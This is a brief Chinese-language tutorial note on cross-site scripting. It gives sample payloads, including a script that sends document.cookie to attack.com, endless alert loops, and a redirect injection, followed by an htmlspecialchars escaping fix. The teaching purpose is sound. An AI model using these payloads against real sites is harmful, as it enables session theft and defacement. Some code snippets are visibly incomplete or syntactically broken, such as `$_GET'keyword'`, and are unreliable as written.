Cross-site Scripting
Cross-site Scripting
跨網站指令碼
利用網頁上動態產生內容部份的漏洞,注入惡意腳本的攻擊手法
例如
輸入欄位
使用短網址包覆帶有惡意腳本的網址
http://app.com/?name=?<script>...attack.com/bad.php?data=document.cookie;</script>
<script>for(;;){alert(1)}</script>
<img src="X" onError="for(;;){alert(1)}">
可以針對特殊文字進行處理來防止攻擊
例如<、&
範例
code:search.php
<form action="result.php">
<input type="text" name="keyword" />
<button type="submit">搜尋</button>
</form>
code:result.php
攻擊:輸入<script>location.href = 'http://example.com'</script>
結果頁面會變為:
code:result.html
<h2>
<script>
</script>
的搜尋結果
</h2>
對策:加入escape
code:result.php
<h2><?php echo htmlspecialchars($_GET'keyword', ENT_QUOTES); ?>的搜尋結果</h2>